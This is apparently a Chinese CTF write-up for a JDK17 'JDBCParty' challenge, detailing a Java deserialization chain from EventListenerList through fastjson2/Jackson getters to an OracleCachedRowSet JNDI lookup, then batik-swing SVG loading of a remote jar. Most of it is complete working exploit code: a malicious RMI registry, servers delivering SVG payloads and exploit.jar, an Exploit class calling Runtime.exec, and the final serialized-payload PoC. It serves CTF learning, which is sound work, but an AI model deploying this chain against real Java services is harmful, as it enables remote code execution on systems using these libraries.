依赖:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
   | <dependency>     <groupId>org.springframework.boot</groupId>     <artifactId>spring-boot-starter-web</artifactId>     <version>3.5.5</version> </dependency>
  <dependency>     <groupId>org.springframework.boot</groupId>     <artifactId>spring-boot-starter-thymeleaf</artifactId> </dependency>
  <dependency>     <groupId>org.springframework.boot</groupId>     <artifactId>spring-boot-starter-test</artifactId>     <scope>test</scope> </dependency>
 
  <dependency>     <groupId>com.oracle.database.jdbc</groupId>     <artifactId>ojdbc11</artifactId>     <version>21.14.0.0</version> </dependency>
  <dependency>     <groupId>org.apache.tomcat</groupId>     <artifactId>tomcat-jdbc</artifactId>     <version>10.1.31</version> </dependency>
  <dependency>     <groupId>org.apache.xmlgraphics</groupId>     <artifactId>batik-swing</artifactId>     <version>1.14</version> </dependency>
  <dependency>     <groupId>com.alibaba.fastjson2</groupId>     <artifactId>fastjson2</artifactId>     <version>2.0.37</version> </dependency>
   | 
 
一道jdk17的题
先分析能利用的资源:
- springboot自带的jackson链
 
- fastjson2的原生反序列化链
 
- springboot里带的tomcat-embed-core,有BeanFactory,可以在JNDI的时候用。这里是10.1.31版本,那forceString用不了,但是还是可以触发setter
 
- ojdbc,没见过。但是和数据库有关的,要么是直接jdbc,比如经典的mysql-jdbc,要么是打jndi。目前高版本jdk的题,如果是内存数据库喜欢考jdbc,如果不是内存数据库喜欢考jndi。等下可以注意一下里面是否有jndi注入点
 
- batik-swing,没见过,且没思路。看了wp才知道是和jndi结合起来用,算高版本jndi之xxe利用吧。参考 JDK CVE-2023-21939 分析利用
 
看一下题目的反序列化点:
现在能够大概确定一个思路:
1、EventListenerList+fastjson2/jackson,触发getter
2、某个getter触发jndi
3、jndi结合batik-swing实现rce
OracleCachedRowSet链
现在尝试找一下有没有能触发jndi的getter,这里用tabby找:
建议路径一开始别设置太长,先从短链找起。排除一些不能序列化,没有exports的类后,能够发现oracle.jdbc.rowset.OracleCachedRowSet#getConnection。具体看一下它调用的getConnectionInternal,能够发现是可用的,不过只有rmi协议可用,因为有个validateJNDIName(),里面不允许ldap。
后面还不太清楚,先搬运一下。
先起rmi服务器:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
   | import com.sun.jndi.rmi.registry.ReferenceWrapper; import org.apache.naming.ResourceRef;
  import javax.naming.StringRefAddr; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
  public class RMIServer {     public static void main(String[] args) throws Exception {         System.out.println("Creating evil RMI registry on port 1097");         Registry registry = LocateRegistry.createRegistry(1097);
          ResourceRef ref = new ResourceRef("org.apache.batik.swing.JSVGCanvas", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);         ref.add(new StringRefAddr("URI", "http://localhost:8886/1.xml"));
          ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);         registry.bind("remoteobj", referenceWrapper);      } }
   | 
 
再起xml服务器:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
   | import com.sun.net.httpserver.HttpExchange; import com.sun.net.httpserver.HttpHandler; import com.sun.net.httpserver.HttpServer;
  import java.io.IOException; import java.io.OutputStream; import java.net.InetSocketAddress;
  public class XmlServer {     public static void main(String[] args) throws IOException {         HttpServer server = HttpServer.create(new InetSocketAddress(8886), 0);         server.createContext("/1.xml", new Xml1Handler());         server.createContext("/2.xml", new Xml2Handler());         server.setExecutor(null);         server.start();
          System.out.println("Server started on port 8886");     }
      static class Xml1Handler implements HttpHandler {         @Override         public void handle(HttpExchange exchange) throws IOException {             exchange.getResponseHeaders().set("Content-Type", "application/xml");             exchange.getResponseHeaders().set("Access-Control-Allow-Origin", "*");             exchange.sendResponseHeaders(200, 0);             String xml = "<svg xmlns=\"http://www.w3.org/2000/svg\" " +                     "xmlns:xlink=\"http://www.w3.org/1999/xlink\" " +                     "version=\"1.0\"> <script type=\"application/java-archive\" " +                     "xlink:href=\"http://localhost:8887/exploit.jar\"/> " +                     "<text>Static text ...</text> </svg>";             OutputStream responseBody = exchange.getResponseBody();             responseBody.write(xml.getBytes());             responseBody.close();         }     }     static class Xml2Handler implements HttpHandler {         @Override         public void handle(HttpExchange exchange) throws IOException {             exchange.getResponseHeaders().set("Content-Type", "application/xml");             exchange.getResponseHeaders().set("Access-Control-Allow-Origin", "*");             exchange.sendResponseHeaders(200, 0);             String xml = "<svg xmlns=\"http://www.w3.org/2000/svg\" width=\"100\" " +                     "height=\"100\"> <circle cx=\"50\" cy=\"50\" r=\"50\" fill=\"green\" " +                     "onload=\"showFrame()\"/> <script type=\"text/ecmascript\"> " +                     "importPackage(Packages.java.lang); function showFrame() { " +                     "Runtime.getRuntime().exec(\"calc.exe\"); } </script> </svg>";             OutputStream responseBody = exchange.getResponseBody();             responseBody.write(xml.getBytes());             responseBody.close();         }     } }
   | 
 
再起http服务器:
这个直接python -m http.server 8887 也一样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
   | import com.sun.net.httpserver.HttpExchange; import com.sun.net.httpserver.HttpHandler; import com.sun.net.httpserver.HttpServer;
  import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.net.InetSocketAddress;
  public class JarServer {     public static void main(String[] args) throws IOException {         HttpServer server = HttpServer.create(new InetSocketAddress(8887), 0);         server.createContext("/exploit.jar", new BinaryHandler());         server.setExecutor(null);         server.start();         System.out.println("Server started on port 8887");     }     public static byte[] readInputStream(InputStream inputStream) {         byte[] temp = new byte[4096];         int readOneNum = 0;         ByteArrayOutputStream bos = new ByteArrayOutputStream();         try {             while ((readOneNum = inputStream.read(temp)) != -1) {                 bos.write(temp, 0, readOneNum);             }             inputStream.close();         } catch (Exception ignored) {         }         return bos.toByteArray();     }     static class BinaryHandler implements HttpHandler {         @Override         public void handle(HttpExchange exchange) throws IOException {             System.out.println("get request");             byte[] data = readInputStream(JarServer.class.getClassLoader()                     .getResourceAsStream("exploit.jar"));             exchange.getResponseHeaders().set("Content-Type", "application/octet-stream");             exchange.getResponseHeaders().set("Access-Control-Allow-Origin", "*");             exchange.sendResponseHeaders(200, data.length);             OutputStream responseBody = exchange.getResponseBody();             responseBody.write(data);             responseBody.close();         }     } }
   | 
 
jar包里的内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
   | import org.w3c.dom.events.Event; import org.w3c.dom.events.EventListener; import org.w3c.dom.svg.EventListenerInitializer; import org.w3c.dom.svg.SVGDocument; import org.w3c.dom.svg.SVGSVGElement;
  public class Exploit implements EventListenerInitializer {     public Exploit() {     }
      public void initializeEventListeners(SVGDocument document) {         SVGSVGElement root = document.getRootElement();         EventListener listener = new EventListener() {             public void handleEvent(Event event) {                 try {                     Runtime.getRuntime().exec("calc.exe");                 } catch (Exception e) {                 }             }         };         root.addEventListener("SVGLoad", listener, false);     } }
   | 
 
最终Poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
   | package com.example.solution;
  import com.alibaba.fastjson2.JSONArray; import com.fasterxml.jackson.databind.node.POJONode; import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod; import oracle.jdbc.rowset.OracleCachedRowSet;
  import javax.swing.event.EventListenerList; import java.io.FileOutputStream; import java.util.Base64;
  public class Poc {     public static void main(String[] args) throws Exception {
          OracleCachedRowSet oracleCachedRowSet = new OracleCachedRowSet();         oracleCachedRowSet.setDataSourceName("rmi://localhost:1097/remoteobj");         Object o = GadgetUtils17.makeObjectAopProxy(oracleCachedRowSet);
          JSONArray jsonArray = new JSONArray();         jsonArray.add(o);
 
          POJONode node = GadgetUtils17.JacksonToString2GetterBetter(oracleCachedRowSet);
 
 
 
          EventListenerList list = GadgetUtils17.eventListenerList(jsonArray);
          byte[] ser = Tools17.ser(list);         String s = Base64.getEncoder().encodeToString(ser);         new FileOutputStream("D://1tmp//payload.txt").write(s.getBytes());         Tools17.deser(ser);
      } }
   | 
 
LdapAttribute链
这个方法我没试过,不过应该也可以
可以看JDK17打Jackson+LdapAttruibute反序列化 | GSBP’s Blog
参考
https://github.com/Y4Sec-Team/CVE-2023-21939
来自三道高版本JDK的JDBC连打combo - EddieMurphy’s blog
软件攻防赛JDBCParty赛后解-先知社区
高版本JNDI注入-高版本Tomcat利用方案-先知社区 这里有讲BeanFactory还能触发setter
从2025系统安全防护赛JDBCParty学习高版本JDK和高版本Tomcat打JNDI到RCE | J1rrY’s Blog 这里具体讲了jar包怎么来
探索高版本 JDK 下 JNDI 漏洞的利用方法 - 跳跳糖 这里讲了高版本下jndi怎么打,有提到本题的xxe利用
JDK CVE-2023-21939 分析利用batik-swing 组件造成的 rce 漏洞-先知社区 关于本题batik-swing怎么用